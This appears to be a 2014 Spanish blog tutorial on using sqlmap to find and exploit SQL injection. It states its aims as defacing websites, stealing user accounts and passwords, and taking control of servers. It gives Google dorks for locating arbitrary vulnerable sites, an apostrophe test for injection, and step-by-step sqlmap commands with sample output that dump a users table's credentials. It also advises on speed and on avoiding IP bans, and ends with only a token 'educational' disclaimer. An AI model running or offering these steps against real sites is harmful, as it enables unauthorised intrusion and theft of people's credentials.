viernes, 25 de abril de 2014

Guia SQLMap

Hoy os enseñare como usar la herramienta sqlmap de forma básica y sencilla, que nos puede servir para muchos propósitos como Defacear webs (modificación de la web), sacar cuentas de usuarios con sus contraseñas, sacar la cuenta administrativa del lugar y tener control completo del servidor web, sacar información importante o valiosa etc. Empezamos!

- INTRODUCCIÓN 

¿Que es SQLMap?
sqlmap es una herramienta de pruebas de penetración de código abierto, que automatiza el proceso de detectar y explotar los errores de inyección SQL. (Mucho mejor que hacerlo a mano)
sqlmap es una herramienta esencial en el pentesting web y muy útil a la hora de explotar Inyecciones SQL

¿Como encuentro paginas con Vulnerablilidades SQL?
Bueno lo primero, sqlmap explota variables, por lo que la estructura de una web vulnerable sera algo parecido a esto:

- http://www.paginadepepito.com/index.php?id=4

Una forma de encontrar paginas web, que muestren una variable y una estructura parecida es mediante Dorks, aunque no es necesario, las variables de una web se pueden buscar accediendo a secciones de la misma

¿Que es un Dork?
Los dorks son combinaciones de operadores de búsqueda especiales que se utilizan para extraer información valiosa o sensible desde Google.

Antes de continuar si no te sonaba nada de esto recomiendo ver esta guia de HackxCrack que muestra como usar varios navegadores para el hacking o extracción de datos

Algunos Dorks:

inurl:index.php?id=
inurl:news.php?id=
inurl:download.php?id=

- BUSCANDO PAGINAS VULNERABLES

Bueno esto es tan sencillo como introducir el dork en el navegador: Google, Bing, etc e ir accediendo a las paginas, una vez dentro de una web, nos aparecerá una estructura parecida a la ya comentada , si no pues busca mas paginas hasta encontrarla XD


-http://www.paginadepepito.com/index.php?id=4

Bien, ahora para saber si es vulnerable a SQL se le introduce a la variable 'id=' un caracter no valido como un apostrofe ( ' ) quedando de esta manera:



-http://www.paginadepepito.com/index.php?id='

y esto tendría que mostrar un error muy parecido a este, para asegurarte, observa si aparece la palabra sql en el mensaje de error.

Warning: mysql_num_rows(): supplied argument is not a valid MySQL result

Si no lo muestra es que no es vulnerable, y hay que seguir buscando mas webs

-EXPLOTANDO LA VULNERABILIDAD

Llego la hora, lo interesante, si no hay ningún problema deberías de tener ya una pagina con una vulnerabilidad sql que muestre el mensaje de error

Bien, empecemos, ejecutamos sqlmap en la terminal de comandos de nuestro sistema operativo, yo al tener kali linux lo puedo ejecutar directamente, introduciendo sqlmap, después introducimos el siguiente comando:

sqlmap -u (pagina vulnerable) --dbs

ejemplo: sqlmap -u http://www.paginadepepito.com/index.php?id=4 --dbs

con el parametro --url le pasamos la url que es vulnerable y con --dbs le pedimos que liste las bases de datos.
Cuando ejecutemos eso, sqlmap usará heurísticas para comprobar que gestor de bases de datos utiliza el sitio, y lo auditará (¡Y todo automático!)


Le tomó un poco más de un minuto encontrar la consulta SQL para decirnos que utiliza MySQL y que la variable id es vulnerable. Por último nos pregunta si queremos buscar otras variables vulnerables, a lo que yo voy a responder que no.

[02:08:53] [INFO] the back-end DBMS is MySQL

web application technology: Apache
back-end DBMS: MySQL 5.0
[02:08:53] [INFO] fetching database names
[02:08:54] [INFO] the SQL query used returns 2 entries
[02:08:55] [INFO] retrieved: "information_schema"
[02:08:57] [INFO] retrieved: "pepito"
available databases [2]:
[*] pepito
[*] information_schema

[02:08:57] [INFO] Fetched data logged to text files under '/opt/pentest/database/sqlmap/output/www.pepito.com'

[*] shutting down at 02:08:57


Bien, la base de datos que nos interesa es pepito (la vuestra se llamara de otra manera XD). De ella obtendremos primero las tablas que la componen y luego las columnas (y sus datos).
Para conseguir ver las tablas, introducimos.

sqlmap -u (WEB) -D pepito --tables

ejemplo sqlmap.py -u http://www.pepito.com/index.php?id=1 -D pepito --tables

Con -D Le indicamos la base de datos a utilizar (-Database) y con --tables que nos muestre las tablas disponibles.

Una vez más, en pocos segundos nos dumpea las tablas:

4

Ok, como nosotros queremos ver los usuarios del sitio o del panel de control la tabla que nos interesa es la de users. Vamos a dumpear esa tabla.

Si primero nos interesa ver que columnas tiene y de ahí obtener una consulta personalizada hacemos:

sqlmap -u (WEB) -T users --columns

ejemplo: sqlmap -u http://www.pepito.com/categoria.php?id=1 -T users --columns

Database: pepito
Table: users
[8 columns]
+--------------+--------------+
| Column | Type |
+--------------+--------------+
| ciudad | varchar(100) |
| clave | varchar(15) |
| email | varchar(80) |
| estado | char(1) |
| id | int(11) |
| id_provincia | int(11) |
| localidad | varchar(100) |
| usuario | varchar(15) |
+--------------+--------------+


Bueno, de otro modo si querés todo el contenido de la tabla:

sqlmap -u (URL) -T users --dump

ejem: sqlmap -u http://www.pepito.com/categoria.php?id=1 -T users --dump

Este proceso puede demorar si la tabla tiene muchas entradas. Podemos agilizar esto usando el flag --threads=n donde n es un numero no mayor a 10. OJO!! Si el servidor tiene un firewall configurado como debe ser, puede que nos banee la IP por tantas conexiones simultaneas.

Luego de unos minutos...

Imagen

Con esto terminamos con sqlmap, como podéis ver, se han sacado muchas cuentas con sus usuarios y contraseñas, y si pillas la del administrador, Puff!!!
Hasta otra, Comenten cualquier duda!!

-Guía realizada para medios educativos, no me hago responsable del mal uso